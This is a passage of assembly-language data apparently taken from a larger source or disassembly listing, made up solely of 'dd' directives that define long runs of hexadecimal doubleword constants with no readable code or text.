4FD9CCC3h, 0E6E5B60Fh, 235C6619h, 6FEEBAh dd 9E1214BFh, 0D80B71BBh, 0CF499300h, 2497E18Dh, 0CA0A0059h dd 0D4EA9476h, 1A008031h, 0A2FD2F4Bh, 0A59617h, 36E5B2F4h dd 851EC56Fh, 0D142AF02h, 0C0DFC311h, 75FC4BD8h, 84745061h dd 0D5380BA3h, 700F942h, 526D1348h, 4D873503h, 83491625h dd 73D1D821h, 0AE9E0066h, 8C63A574h, 8000DE4Dh, 0A0E1CEB5h dd 79880Dh, 0A59BA7C0h, 0F0E02FFh, 0BC0F7671h, 20FA4201h dd 28AD4036h, 6EAA00E2h, 7EE599C5h, 0C1A03241h, 0A300AC3Fh dd 48104EADh, 902E2AF5h, 3921000Eh, 1ACCCEABh, 6871A631h dd 0FA74F300h, 2DFF4D01h, 72B70BA1h, 1085BD71h, 7510205Bh dd 2E252DB2h, 40C88E13h, 0DB1903C2h, 0CA8C01EBh, 7D2D4F22h dd 84882CB6h, 1643880Ah, 70DB03CAh, 8D2EBCA8h, 6978B030h dd 7F93E7C1h, 0A529006Eh, 0C3CD0E1Fh, 0EE1FA70Fh, 1C92C6ADh dd 8DE12880h, 76D400F8h, 6C1A75CFh, 0B100FB52h, 5974A72Dh dd 960FA1EEh, 0C833042Ch, 537CB063h, 4BC5C900h, 1E023444h dd 9A7D00FFh, 0B823DF5Dh, 0E3E85EDBh, 0EAD22D1Dh, 6D840200h dd 178E9AAh, 0C8CEAFEBh, 0DD9EC4F8h, 24353014h, 34D2BA00h dd 0A46692C2h, 0BD2C003Eh, 0D13A84D4h, 6E002B03h, 0A57B4086h dd 8D2D14h, 9E1E731Dh, 57BA0199h, 0F94A400h, 0DB5B91C9h dd 625A002Ch, 7CEECEC4h, 5F12DE03h, 3440E2D1h, 6BAB7DC0h dd 0AA080F2Eh, 93A169A4h, 9ED115A1h, 0A8401B20h, 5A19DF94h dd 0EF9E41Ah, 512989E4h, 9A118180h, 70A884Dh, 906999D3h dd 219EEF00h, 7321508h, 4FB472D1h, 21BDD638h, 0A8003070h dd 84673E0Bh, 6CD3137h, 2C5DCCEh, 0E80799E1h, 909D8245h dd 80B8E3A3h, 508A6B01h, 5DC0D9h, 9683111h, 4C8BDCF0h dd 7152B700h, 0C62604FAh, 9F410001h, 53C34F3Bh, 2516708Bh dd 30407114h, 3D91EACFh, 4DC402B9h, 288521Ch, 38928C97h dd 808C5010h, 3DD73E79h, 6BF01D1h, 159AF90Eh, 4183E823h dd 437D7100h, 0DC90A153h, 0E5CF00DBh, 0A48868C2h, 5B756E37h dd 0B59EF300h, 0AA38291Fh, 8DB884h, 98015F8Ch, 5145ECF5h dd 77033F58h, 0E1925703h, 0E06D559Bh, 3DA8B8h, 8877D4DFh dd 0CBDE270Ah, 2F509Fh, 0C0E06005h, 374263ACh, 48062D00h dd 0DAAD5717h, 438D0026h, 0FBC94CE4h, 2F0065C4h, 98CFF54Dh dd 3E3DBC2Dh, 772C0CD2h, 250700E5h, 0A59D4755h, 2EFBB109h dd 0B92280EDh, 0C0B88492h, 0EE226E98h, 0C1008976h, 0DD2550D3h dd 71F32BCh, 0EF32016h, 0ABE450C6h, 0A2E0BBA0h, 6AAFBF00h dd 0D7B8293h, 1C68E84Ch, 409EC246h, 0A7E72739h, 5900FACBh dd 43712A1Bh, 9CB41Ch, 8184FFF4h, 0D91A12C8h, 6E367B00h dd 0E7BBB70Bh, 54A20010h, 0C4641D3Eh, 841DA527h, 0A44055CCh dd 8209BB08h, 0E92A0ED1h, 0E7A3C64Bh, 58F025CAh, 0AAC04112h dd 0AA40919Dh, 218B00A3h, 24CFFED9h, 62015B43h, 6A7F22FCh dd 54600A8Ch, 0F3B039AEh, 59C67500h, 7869BCB9h, 14E07D00h dd 84578810h, 0C98901B6h, 52CF18F3h, 0E565DC11h, 7143CB01h dd 22A8962Dh, 0E680A545h, 1BC7778h, 0BE3E578Bh, 0D8F94142h dd 0C0001233h, 0CEC8BBCCh, 0E0E91EBh, 0B0C44B88h, 0D8E9734Ch dd 5A53B200h, 365B697Fh, 4F990042h, 0EB2D877Eh, 2626B04Ch dd 0CD0E95A5h, 75DAA324h, 0ADC900A3h, 0C5CFAE0h, 0CE00A4E9h dd 99AC4A24h, 0C12C8Fh, 50326364h, 0CD3DF2E5h, 4A0DA80Dh dd 24FC7817h, 0B96D007Dh, 41286ACEh, 3B011FCDh, 90637523h dd 0D61A174h, 0B7C7D0h, 8FAA66A7h, 3B0BA009h, 0E8A54B00h dd 9F765519h, 7AC1383Dh, 0F2E29700h, 0A9EB5D8h, 0BE089500h dd 4A3BA441h, 0CBE01E49h, 1D08064h, 81CC9F1Dh, 148D6500h dd 2D215661h, 0F41001Bh, 0C2C5C435h, 9E2E773Eh, 6A00D1E5h dd 675B3952h, 6EA01F19h, 12D100DCh, 255F0579h, 2F66DF0Bh dd 20CF008Bh, 0FBC103h, 942DE7DDh, 6F3A3999h, 6C014800h dd 0F93F735Eh, 0D680009Fh, 92B6DE79h, 590F152Ah, 0A074062Ch dd 31A36313h, 0B36900A2h, 8DDD37CCh, 86076504h, 45487C66h dd 0F8AA8E40h, 26D598D9h, 3056D46h, 0E1AFE5B9h, 589B4080h dd 0EFBB3203h, 90FF85E8h, 10768h, 7241BC93h, 8150EE8Eh dd 0AF069BE4h, 3B97EDAAh, 0BE6E0062h, 94D6A63Dh, 0F80088A1h dd 5B269863h, 1385619h, 5EDA97B5h, 70502F9Eh, 0BE7A957Ah dd 7505A07Ah, 3E682DFEh, 108A2028h, 80B26923h, 0F86F2DC7h dd 577107E7h, 0F641619Bh, 0C9725093h, 0FDCB058h, 0A6D13C8Eh dd 548C1A5h, 0B9B23113h, 745780EAh, 3D00A489h, 85AF91D6h dd 7DE9629h, 0B8297EBh, 603577BFh, 0AF90DACBh, 317C260Ah dd 0C900A479h, 81E35F68h, 0EC860741h, 6105C59Fh, 30488E02h dd 0BF606E1Bh, 4FD77A28h, 0D23B06F9h, 602CE603h, 74E7BC00h dd 2BF1044Ch, 342A0071h, 609BA416h, 0C700FDAEh, 0C6EABE94h dd 6336C85h, 0CE121566h, 6F00B8CDh, 0BEAAC4C7h, 15048C6Eh dd 807C1EF9h, 0CC6571C0h, 0D04659FBh, 529E8Fh, 0C5AF7C3Eh dd 1701E0CAh, 3A372DD4h, 0AC47F284h, 8DE87D0h, 0D6D50010h dd 7865A1CEh, 0BD0396B7h, 0CD613059h, 44F1E83Eh, 0FE8530E0h dd 3F985BE0h, 0A0B3C80Fh, 6EEE20A8h, 2810913Ch, 1F80EAB2h dd 0CA050DCAh, 5820FC4Dh, 0DD11AE58h, 0B407BF30h, 20968165h dd 0DB317673h, 0B171B301h dd 0A6C64115h, 9AF6D040h, 9B3B00DAh, 0C3DF0482h, 0B20AF39Eh dd 0C82C7B4Eh, 6CAF6000h, 0C606FFh, 0EE8C6752h, 2B89353Dh dd 98267C00h, 55F5CBD3h, 0B7E800D9h, 0CF1BF270h, 1000B8E2h dd 0ED9A35DBh, 1886640h, 9C5B33D1h, 870A6CE4h, 1CBAFE61h dd 4200EC4Ah, 7EF85135h, 0B0577E98h, 68866008h, 0A3686F43h dd 700F81E6h, 0CF5CD70Ah, 0F4005264h, 55FC8D5Bh, 0EF7F0ECFh dd 0EC3C1E4h, 44F9B64Ch, 645C2008h, 7166ED00h, 7662979Ah dd 52570E60h, 9E604BD3h, 126CC77Ah, 0E7132907h, 2BC132B4h dd 8080BA8Bh, 4F270671h, 0AAF0BF5Ah, 0D1EA087Dh, 0E9D4C71Fh dd 59AE8FC0h, 68194Eh, 0E575428h, 2FACF6ADh, 0A3999000h dd 1520235Dh, 478B01C4h, 0BD33EA81h, 0AE044882h, 0D3024E0Ah dd 0D1F60C6Eh, 0EA03008h, 0B100B26Dh, 0BB10D893h, 218892Fh dd 0E97D449Eh, 0C8224B7h, 0FE1063FDh, 4CA28495h, 94A60C02h dd 846AF910h, 1525C521h, 0A21018ADh, 71F5812Ah, 960045C8h dd 624081CAh, 0F91D0F69h, 0D09D7EC2h, 8771811Fh, 1895C18Fh dd 0E51454F0h, 50741857h, 315924ABh, 0F261C9A1h, 0D184177h dd 7B484065h, 1F40AEFAh, 48E86321h, 87F852D2h, 4C00EA83h dd 49EF662h, 549101F5h, 0CDA8C8h, 0BB68F399h, 0CAD42A2Ch dd 98CB7514h, 65CF00B8h, 96C08941h, 4AEE068Fh, 5077DEE0h dd 5D8848h, 9F5FDB63h, 0BFD303h, 0EE4BFA14h, 0F2A20B7Eh dd 2123BD00h, 699B808Ah, 1EA00356h, 0E0BE6CD5h, 9D006872h dd 3892749Eh, 0F0C669h, 182309C1h, 0ECE994BDh, 0D0544005h dd 4C2001D5h, 6060AC8Ch, 0E47AC019h, 2D00F0C8h, 7F5B736Bh dd 0E62FCFFh, 443B69E9h, 2010CE60h, 2A003442h, 8C3FD53Ch dd 0A324A0h, 6B5F332Fh, 0ACA223CBh, 0B0A9C401h, 918D8914h dd 0E61CB0EEh, 3985B4h, 9CD75C89h, 32D4EEFh, 64C92701h dd 99D8197Ch, 1B004275h, 2AD4B6BBh, 74416DE4h, 329B097h dd 9D34D016h, 0C09D8E25h, 0EDB7E5A8h, 171A61Eh, 0FE6EF4C3h dd 0C0281F7Ch, 48840435h, 1CE3C08Bh, 0B2ECBED6h, 0D9E67900h dd 21F7110Ch, 9B7800FFh, 7F02AB95h, 0A4001C81h, 34A2EE5Fh dd 0A9C9AAh, 13243930h, 639DC34Bh, 73AC80Bh, 3E098032h dd 0B8B4D856h, 82550040h, 272FF099h, 0B0C03487h, 4B8876EAh dd 740100B9h, 55A92978h, 0E9149DEFh, 608D1F1Ch, 3A263E28h dd 572B0046h, 5C3BFFDFh, 8E0A1E95h, 58E9FECAh, 9F59235Ch dd 4C4EA259h, 0C308F400h, 0FB93FEB0h, 21103100h, 609D181Ah dd 0D01539BAh, 27052A81h, 0E0DC4608h, 0BB306A3Ah, 0E3ED40BCh dd 1832E280h, 31BF8516h, 58023E7Dh, 66C62327h, 5F28039h dd 0A0CB29h, 73AC9BC7h, 6C1E7DAh, 0CF037E77h, 1370B53Bh dd 4CDD8091h, 9D360044h, 33754B66h, 0DE035DC1h, 1C52793Ah dd 0FFA6D8E3h, 58F400E5h, 4597AE68h, 0A900758Ch, 0BA6C5015h dd 13D7D5E1h, 0FD017EEh, 33407CE0h, 71F264F0h, 0A6D1C40Ch dd 0FC693020h, 25CFE47h, 10183337h, 0AC9516AAh, 8497ADC1h dd 0B581E8h, 0FE0512E4h, 0CBA55BC0h, 94915D7Eh, 9FDB003Fh dd 3437861Eh, 0CD100558h, 2B4E7E07h, 916882F0h, 3798407Ah dd 55950E14h, 0FA01DF5Dh, 26905799h, 0B0866034h, 190F2Ah dd 0BEC687EAh, 38937EFEh, 0D4B81B09h, 3EE81D4Dh, 46A1DCC9h dd 6A03F8C0h, 416B6800h, 93509760h, 0A22E2B88h, 73038084h dd 12C187BCh, 610070E7h, 250BEF00h, 8C63913Fh, 0DB900031h dd 765AFD15h, 0AE0027B2h, 322C8FD3h, 5D7BB96h, 534B23CFh dd 3A844BC7h, 780089FCh, 9264E920h, 9B060055h, 293EBC86h dd 0D0A4CFD6h, 0A141A600h, 0D3BD5056h, 0BE8D1227h, 87642BB2h dd 498456BBh, 484B08C8h, 0BD26BBDAh, 0DDD60EA9h, 0E27C7400h dd 0A60EDF0Dh, 0E9D2CF7Dh, 0E00C15D9h, 0E488B85Eh, 6A12D3E6h dd 4209358h, 3B4DF5DEh, 38813FEEh, 23C0B08Fh, 0A0FC4A5Fh dd 27BBDE0h, 560C0912h, 0F490278Ch, 240A7D0Fh, 80AD1625h dd 0B909C78h, 60B7D20Eh, 76812837h, 0A97F1D35h, 2A61C458h dd 90A859h, 4FDA846Ch, 0BB04A9FFh, 0E845332Ch, 32910C3Ch dd 0E35D1009h, 891968E0h, 0B8C303Eh, 0C5E01641h, 0A7780C7Ah dd 0CD20BA7Dh, 2076C13Dh, 46FA1419h, 0B500C06Eh, 0AFCA1C59h dd 72002650h, 0F1E75734h, 0E0D67021h, 40954937h, 26B0B430h dd 6090B7EAh, 8290DF26h, 1FA86500h, 0C27958h, 3C6D7F09h dd 0F6F75B2Bh, 0A3129CA8h, 2DC1EB13h, 7412h, 90817DAFh dd 84993848h, 66511700h, 79E4F5B4h, 3C6224h, 9910F481h dd 0F980D995h, 13AA8088h, 0E100A9B1h, 87CD3DD6h, 0AC04DCCh dd 16D37A8Dh, 514283E4h, 3924FBC7h, 902B0879h, 4F898806h dd 0FF7D0090h, 924CA60Fh, 0CE0A8E14h, 0CC509871h, 0CAD11900h dd 1FF47293h, 42820EF6h, 7FB61881h, 8139AC84h, 0E83161F3h dd 2A008B1Fh, 0C5225947h, 0B159A10h, 2E94747Ch, 0A0DA4827h dd 0E3098AA1h, 0EA53D307h, 1642C6FCh, 0A424E8CFh, 0BA82006Ah dd 789680D4h, 50037B66h, 0A0512810h, 0E875F37Ch, 4C3F0E98h dd 4B01A063h, 37BB5C13h, 0E868DD6Eh, 7915E507h, 3CCFE9h dd 67D28F28h, 0D506C0h, 0C2555943h, 4725C1D1h, 26277B00h dd 52B4A771h, 24D4F287h, 3C6B0D0Fh, 7D53E882h, 1CC170A5h dd 0DE33C066h, 38CD2500h, 0A742EF09h, 0D3EB0129h, 6E820788h dd 67D5E83Ch, 628CA900h, 0EC39615Eh, 5B2001D6h, 7604AAEDh dd 78860F6h, 63C48703h, 0E0663ABAh, 7C37DC5Eh, 465C185Bh dd 0C7643860h, 0E0FC2800h, 0B436C52Bh, 615D0059h, 0BF8F0D8Dh dd 71D5A89h, 0F5C01FB2h, 105C39C0h, 0E530122h, 95DCBE09h dd 811880EEh, 6A8DF624h, 73EC00E7h, 0A353FDC6h, 440E9BF4h dd 0A7A4D702h, 0EB5082EEh, 9AB173h, 0B704F327h, 0C547EC23h dd 769C4E30h, 0D9AEF1h, 4D33A846h, 0BC96B16Ch, 691ED718h dd 0DEB2C0h, 0A0991255h, 9B3411F5h, 0C8C64300h, 95AAFB8h dd 0E81900CEh, 5228B7B9h, 9100D777h, 0D4C94EBDh, 3B03F27h dd 0C096BBA2h, 37E9CBDCh, 545E010h, 64AF1A00h, 1C50C342h dd 5E5200EFh, 70239C1Bh, 0CC0383BAh, 4B6A064Eh, 18F8D860h dd 0AE50089h, 0A5BAD919h, 106B9ABh, 0D80C4630h, 0ADE87D20h dd 9BBF0904h, 2AC4D800h, 94006144h, 0F5D79227h, 1D5D3ADh dd 6891F2EDh, 81CDCB54h, 0F9FEEED8h, 1180D9B4h, 3ED707AFh dd 0E0831F3Ah, 1C4C94h, 74E3EFE2h, 0A017152Dh, 8E76D80Ch dd 0C87961h, 3A507ABEh, 6AFD688Ah, 0F64F3F06h, 20F5C5h dd 0B07D58A2h, 6677CBF4h, 62FB9200h, 2C5DF51h, 0BAE8031Ah dd 0C0E61361h, 0E314EFC8h, 0FBF8D000h, 3353B74Ah, 0EF2F1h dd 51B86B6Dh, 0D1965AEEh, 0A74B50Bh, 78005F8Dh, 35F56E64h dd 0CD3AD407h, 0D9A03227h, 502B4013h, 68C82Eh, 0C6D86B5Ah dd 82F0CD5Bh, 3A9A303h, 74362DBh, 3B1875F1h, 11BB305Ah dd 0F2339D87h, 89B8E8EAh, 0BD862C2h, 0AC800E5h, 2F1AF963h dd 0F860D7F6h, 0DF9049F2h, 20C20FA8h, 13603D59h, 8F8ADABAh dd 0D2294318h, 6CFD9F1h, 0BF7DCB7Fh, 5201A892h, 13F5DAA7h dd 4DCDCFBh, 65CF001Ah, 0D34AB561h, 9702806Eh, 583269DFh dd 66836006h, 16D8C143h, 4D8DF2F5h, 5C7AFCC8h, 33D18210h dd 0BE00E2DDh, 630F259Ch, 60292D1Eh, 1AFB1910h, 0F706999Fh dd 0E2063D40h, 0F4090789h, 0F06E02F1h, 0B1FCEEBFh, 0F9001892h dd 0A329AB01h, 0B03D69FAh dd 606A745Fh, 8AE89887h, 9900B68Bh, 4215DDFEh, 0B0452E32h dd 6027340h, 9A70D34Bh, 4A00B839h, 0DF763CEDh, 7E7C6Ah dd 0CFA352EAh, 0F0B4736Fh, 0A9844030h, 0A83B48h, 0FE56319h dd 0C8E0F3B3h, 6491C075h, 81A5B90Fh, 0F2F1A26Fh, 0C0D55C20h dd 0A433A7A0h, 0D218C9BEh, 7D319937h, 0E8DC3B71h, 0D734B500h dd 413B81EFh, 3D472100h, 0D9F52E24h, 95D63B51h, 7325EB0Fh dd 52ABDA40h, 5B00EC19h, 7B9BA04Ah, 0E82B18h, 0DA8FA425h dd 62B1C854h, 9B9448h, 8464D9F9h, 532603h, 0AEEB27C9h dd 225CACFAh, 684F1B07h, 0A9615120h, 0F1C882FBh, 0E36600B0h dd 0A7D3590Dh, 0A203FAECh, 9CCF1B15h, 3A11A95Ch, 0CB78D4h dd 59885514h, 4D2E1DF6h, 0F1FDCF12h, 60507D02h, 8C5C8094h dd 895C5DAh, 4B6982F3h, 2007B0B9h, 3D9D7F2h, 19D255ACh dd 2398FA66h, 7F00A478h, 1E27C069h, 284FCAh, 6EFDD276h dd 1F17DF2Fh, 0EE5361C0h, 5FBC03h, 0B5D051D7h, 4B9D6E36h dd 24034179h, 282E6404h, 9BBAC053h, 0F0723DDBh, 5CC35100h dd 0E7CE3491h, 974B48CAh, 0F5361500h, 0CD5557h, 87B22AC8h dd 0F378FBCh, 3EC60700h, 5267E5EFh, 319821h, 78A81811h dd 0D4691CF9h, 0AEF57C00h, 45E3CD33h, 0C5E5009Eh, 21532922h dd 49002DC8h, 41A1A831h, 0A0F9F2h, 351A4373h, 8BC22155h dd 52DB4600h, 0DA1272ABh, 487B0075h, 15F79E43h, 5903859Bh dd 2328C563h, 93B3A896h, 0E2873460h, 77C9C090h, 9F6F86D4h dd 17050070h, 0E278C64Fh, 0A90C0363h, 0BD0777CDh, 0EE00209Eh dd 88C3B1B5h, 6A5F88Ah, 84C692C4h, 331D5016h, 8C47FF4Fh dd 76801598h, 386BC827h, 0E01F1847h, 907D3D44h, 0E90D0940h dd 5818D554h, 0A80ADA71h, 0FC838D9Ch, 81D0B362h, 0DA4755B8h dd 1CE03E4h, 597336B9h, 219CC190h, 0A10CEB45h, 86C9F25h dd 0E28B2CE3h, 8D3903B8h, 5FCAC9F2h, 0B09CE081h, 0F6F08E26h dd 28528051h, 9A23866h, 0CFDCD5DDh, 9C17A580h, 0EB1E9E92h dd 638FFBE3h, 79007FD4h, 6A31A85Fh, 0D85C60F1h, 4697269Eh dd 1D8EC491h, 0EAF7243Bh, 67DA2A01h, 0D052FF29h, 0B5009C68h dd 0C4CDC8C7h, 0A46250FFh, 3B841816h, 0ED088474h, 2FD20609h dd 8D542071h, 26E1A0h, 431FF556h, 5B6513Dh, 0A8552F29h dd 422E2258h, 364D00EBh, 40DFE7C8h, 2A8800CAh, 0CFD64615h dd 49A395Eh, 6EDB4100h, 51AC6E8h, 84C54990h, 400CC22h dd 9DAFBB52h, 0B16224h, 972CBF78h, 696E9396h, 94683948h dd 995F0CCCh, 2C81120h, 0A7F57DD4h, 7046C579h, 84158428h dd 3BCFC31Dh, 864CF500h, 7E8B6Bh, 998C57C5h, 374A7629h dd 81A2B100h, 30196E98h, 65FE0F4h, 0AB7C0FB0h, 373A4962h dd 19CF00ECh, 743C1B2Eh, 0D00A507Dh, 0E5610C6Bh, 0DB909EFBh dd 622BDD01h, 0D677AC40h, 791F8C26h, 0C87804A3h, 54A73133h dd 7B98BC03h, 0C5037A50h, 0C2FC096Dh, 5983E052h, 0F6917197h dd 36630092h, 0C7A17DBAh, 0AA001AB8h, 0C3614CCFh, 0A8B0B43Bh dd 105EE394h, 508B08D1h, 9848FA94h, 0D90EDD28h, 9AFD44D2h dd 2113A431h, 0FBCF317Ch, 774274D8h, 4E61EB13h, 0F50B4020h dd 28226006h, 24FC31D3h, 0B200DF7Dh, 0F1BE045Eh, 1D363D8Bh dd 6F9B9B5h, 783F7315h, 0E130CFFEh, 5343CE42h, 0FC490039h dd 96A90D17h, 0F286775h, 510F045h, 0F68022C7h, 49A88C48h dd 8F16721h, 41004B07h, 0C847C334h, 1F500099h, 0DCF0D932h dd 0F166A19h, 1803F918h, 95CD6FBDh, 5255F000h, 9A89A2F0h dd 23051E60h, 0D3B581A4h, 53A6077Fh, 9C04CCh, 1D7A592Ah dd 298700E4h, 78BED995h, 1E021FF8h, 0CC82327h, 0C9D845E9h dd 40D8442Ah, 393F4ABFh, 79EFB706h, 1FF0775Dh, 80016223h dd 819DE424h, 89004872h, 2D47FAD9h, 122019D3h, 6FC14082h dd 6F610730h, 9A099B8h, 3D6EC715h, 9E01590Bh, 0C9D60C02h dd 1845F6A4h, 18042AE9h, 0F0F5DC40h, 167D1243h, 949400F8h dd 185D50A8h, 0AF7B1A7Ch, 3B1C2A48h, 49D68953h, 0A8109B8Bh dd 8BD0EBBh, 0C43432CAh, 0D031139Bh, 0BBA950h, 0C58AD58Bh dd 6D7990F3h, 88E28E00h, 4FCD2EA2h, 5A7CB1E4h, 7C901CA9h dd 8900BFE8h, 0FA864532h, 906A8234h, 0D82C60B8h, 42ECCBDh dd 0B975150Eh, 30F11842h, 10E7C35h, 0E157ACAAh, 3280C8A6h dd 0BE305020h, 8A62CCA5h, 96D4186Ch, 61DE6213h, 0AA5A3831h dd 585B7470h, 9826406Ah, 47710774h, 0F3040BDh, 0F72C81DBh dd 149D4F6h, 63AF4EBCh, 40014072h, 607223BBh, 3DAC4C91h dd 0A5E194A8h, 0DF07C601h, 42D1BAB2h, 6599B850h, 1E88C0ABh dd 9375043Ch, 79B2FF00h, 436CC386h, 0B0B30005h, 0C56E7F44h dd 0C1636CAh, 600267ACh, 61E4E008h, 0F0505A48h, 0D4BBCBA6h dd 1810F050h, 7B81C0C1h, 112F65B2h, 2EFB4375h, 36805020h dd 0F637461Fh, 0E07D94h, 9E2932F2h, 74C74165h, 0A486D200h dd 19E95F9Ch, 4B60C41Ah, 480037C4h, 4899A802h, 0AADC0440h dd 0CF7EB4h, 6E208492h, 0DBDBCF5h, 16836304h, 74D13A11h dd 0DAF84B98h, 3B1A3B36h, 392EA489h, 0E8A09446h, 2C5E294Ch dd 9057BCA8h, 0DA9A8905h, 0CAC0AF0Ah, 0A02D127Dh, 711C94ECh dd 537C50h, 0F56C6EAh, 6C6ADC99h, 0DF2F9700h, 1BFB525Ah dd 5CE2008Ch, 2E1A709Ch, 9312CAD2h, 140269A8h, 8044DCD4h dd 0D85334BCh, 0B810603Bh, 0D5F6BCEDh, 3AB32001h, 0BE627D5Ch dd 58EFE0FBh, 7A11E8A8h, 0BA8C00C6h, 59890616h, 316086D3h dd 27C4E891h, 0BD1800CBh, 0E476156Ah, 0C974FD9Eh, 77DDD91Fh dd 3B009C5Eh, 50D4452h, 8E286h, 0FFD307CEh, 0EDA591E1h dd 4ABA9B01h, 1D43F474h, 0CCAC081h, 29A79712h, 0D82F00A8h dd 0C5E586A6h, 50E6E871h, 728E01Fh, 0D4EA7F18h, 0F302403Ch dd 0C60E2EF9h, 6E42EB2Dh, 596AE032h, 1F752281h, 0CE1BA2C2h dd 16807724h, 0AD0A3D30h, 9530B0A4h, 153C712Dh, 0F09AB4h dd 0D54C8B5Bh, 66C16231h, 0D43A0C01h, 12A7D0DAh, 0FE182BD3h dd 4212FC04h, 79019D89h, 57F1AC24h, 73DECCC4h, 2CA307F0h dd 4D022h, 0AD82B9DBh, 0FF9BD0C0h, 789BCDFh, 0DCE4D8FEh dd 51F8C8AEh, 12510F5h, 2AC0A9DBh, 250C0B9h, 0A0176308h dd 0D71D9C00h, 3B711878h, 5B823A7Ch, 19591E98h, 11848458h dd 488CD7Bh, 70B8FB9Ch, 1825541Fh, 1B0C40Dh, 824D519h dd 14BE42A0h, 143CAF8Ah, 2A0CC56Ch, 285424A0h, 3C42D20Ch dd 48735414h, 0C4B5074h, 0F730A8B8h, 0E79D4545h, 9C25B082h dd 0F53C6C46h, 26248DC0h, 19A71878h, 3CA08508h, 0A0449766h dd 2190A6B4h, 0D015CA27h, 9572210Ch, 0A7292424h, 18809590h dd 9CA66808h, 8019CC99h, 2C0E2F1h, 0E74B0DE9h, 84C0FABEh dd 8B587A18h, 0F7EA44h, 55F0FF7Eh, 80009124h, 0C92E413Fh dd 8700A8EAh, 3E3BE45h, 180E29Dh, 12624D7Ch, 0C8220470h dd 674C8FD1h, 99E30658h, 3B48FFABh, 54180659h, 0FAEEA027h dd 0C675B20h, 6BCD7385h, 0CF712680h, 237A8800h, 0F61C169h dd 0D7FC07B9h, 70D21D9Bh, 0F48E0C22h, 24114F00h, 0F0472E48h dd 4CB0EAh, 0A54BB927h, 0CD418157h, 48289400h, 349E2F9Dh dd 5DB73B23h, 0EB4B5F05h, 0BE1C7CD6h, 8C835801h, 0BB2423F5h dd 2E92F8h, 391667D9h, 0E1A9AD9Fh, 8118B207h, 80DBB7D6h dd 93BB6FD7h, 58C5639Dh, 80ED04FDh, 82B54526h, 21B19501h dd 61CFA122h, 3CC341FDh dd 0E138C2D9h, 0A04CCA98h, 480E671Dh, 86FF9146h, 0E290150h dd 4195117Ch, 0D1A9865Fh, 0A20068C4h, 73FE99F8h, 15A80B4h dd 141D3813h, 20AFE922h, 0EF7B6D22h, 4F465C00h, 2A534A60h dd 98BF3F10h, 43259D96h, 486EF643h, 0B7305890h, 465E8E00h dd 0DE42BDB5h, 0A310001h, 3AEBE7D9h, 4100E0EDh, 0FAF33499h dd 0B74EDFh, 0C1A9DE88h, 62F5583Bh, 0E738C818h, 88280h dd 9269B943h, 5345B795h, 0C0016D21h, 0B33EE2FBh, 5A5ECE1Ch dd 9E41B9C0h, 24AA09h, 0B5D27717h, 0E2510D8h, 0B41E19EEh dd 9E8F1513h, 4D41E5D4h, 0F24A014h, 63470A5Bh, 12A1702h dd 405684A0h, 0FC71F907h, 423E73FAh, 7ECE05B4h, 9C05125Fh dd 0D846E22Eh, 0CF0827F0h, 96853920h, 38880073h, 3C1AB099h dd 2F82C806h, 1518617Ah, 842430F0h, 0B13FCEC0h, 8024C0B6h dd 7F00587Ah, 0FF23AEFAh, 243D7ED7h, 48925Bh, 409E485h dd 156166A7h, 1C3C3978h, 0C5C9FC50h, 0E7CF0030h, 52C683F7h dd 0F8FC8B7Ah, 128CD90Fh, 0DBC383EEh, 14D000FAh, 419671B5h dd 9E1F286Fh, 0F0054C12h, 8440DFE0h, 94999A81h, 5FBF0004h dd 0B663F972h, 2548FF57h, 12EA00ACh, 60B4555Dh, 5CB0010h dd 0E8D539BBh, 0AF0785E9h, 54C2F373h, 7DE63660h, 0FAC24D4h dd 7C170010h, 94A7770Dh, 320CC7F4h, 40D3C3C9h, 2903617Dh dd 8F95B9B7h, 4C4407A0h, 22CCE90Dh, 4500E94Dh, 6E107919h dd 4263111h, 5815ECB9h, 1D6480BEh, 4750D724h, 0A70F4AC8h dd 0F46BBA28h, 486018C4h, 1574FFB1h, 30335B94h, 581992C0h dd 0E2733909h, 457F2484h, 6F083B1Ch, 39023D10h, 406E1A7Ah dd 0EAAF9448h, 3BBC90EDh, 48C92492h, 3D66A609h, 3EF52002h dd 8A019600h, 92A801FEh, 6B77CCC0h, 1410360Fh, 0F43C50h dd 0B35BC016h, 0F2D5DDD4h, 0AE372857h, 1CD006E4h, 5046B6DAh dd 6F0EEBF4h, 852034A8h, 0A00738C6h, 40083C0Fh, 813AE76Ch dd 0A5132C00h, 0AC756179h, 480B28FBh, 46640098h, 19C00DDCh dd 9C3D4EDEh, 0BF1619BAh, 8C374570h, 0D5D8D0Ch, 330210F9h dd 9B9DA41Ch, 1D504E46h, 9F7C17Fh, 0D88460EFh, 52AE4001h dd 0FE196Fh, 4746CDCFh, 4622874h, 0BA9F9100h, 7AF34A54h dd 6AB4A026h, 7E2CE844h, 0E96000D1h, 3776B06h, 62246612h dd 96808CA0h, 0F02B74F3h, 78CE005Dh, 47C625DBh, 8490133Dh dd 0A2CF9209h, 0DB82171h, 0B1888C90h, 0C83304Bh, 0EC4ECFCh dd 0D1EF1DE9h, 10EB3466h, 891A10Ch, 177F8ABh, 0F91F192Dh dd 20582969h, 78244DB0h, 0EF830821h, 0C8FD6016h, 0E069BBCAh dd 0AEEFC26h, 36FEA7BAh, 804D06E4h, 94043113h, 0F6576AAAh dd 64268180h, 643548C9h, 20FB3450h, 0B2005904h, 0CCB910A5h dd 4D7D8FF7h, 0FD0014FCh, 0C4083926h, 657F9CC7h, 70A4202Ch dd 0C22C8807h, 78C80A03h, 642A3CA9h, 0AF933D0Ah, 9988408h dd 9E1B20AEh, 39B400FDh, 8A919B60h, 9002C801h, 2747740Bh dd 0A8BCA0C2h, 1D081F06h, 4039E2BAh, 0C0D6AA83h, 4907F05Dh dd 2ADE5918h, 2FCAAFD0h, 0D8B1DAF2h, 32092C8Ch, 0FF8B1709h dd 4704A015h, 750FA4Fh, 0C08996D6h, 38B092A3h, 1CBE480h dd 0B4282C4Ch, 0DD00E05Fh, 0FACFC29Ah, 42E3EA2h, 0DAE2822Bh dd 847C8006h, 92032580h, 29A61644h, 223A019h, 0AE0112A1h dd 8B2028E7h, 0C8027D41h, 1DC84830h, 20240AC8h, 0A04D7Ah dd 1938847Dh, 0B71E4A52h, 6D8A0A68h, 202D00Ch, 80BA26A9h dd 5E3014ACh, 0C5BB899h, 0CB55461Bh, 0D0FDF50h, 40250FA3h dd 0CDDC32D1h, 61480FF6h, 440D547h, 120FAF77h, 0B4D9CA0Ah dd 7853020h, 0A007022Ah, 4834A7h, 37659A7Dh, 9E3A8CEAh dd 2E30F98Dh, 62463041h, 0BF8900FBh, 0C6FF524h, 5658675Fh dd 0DE14004Eh, 0EDBC4F64h, 6EB0C2BEh, 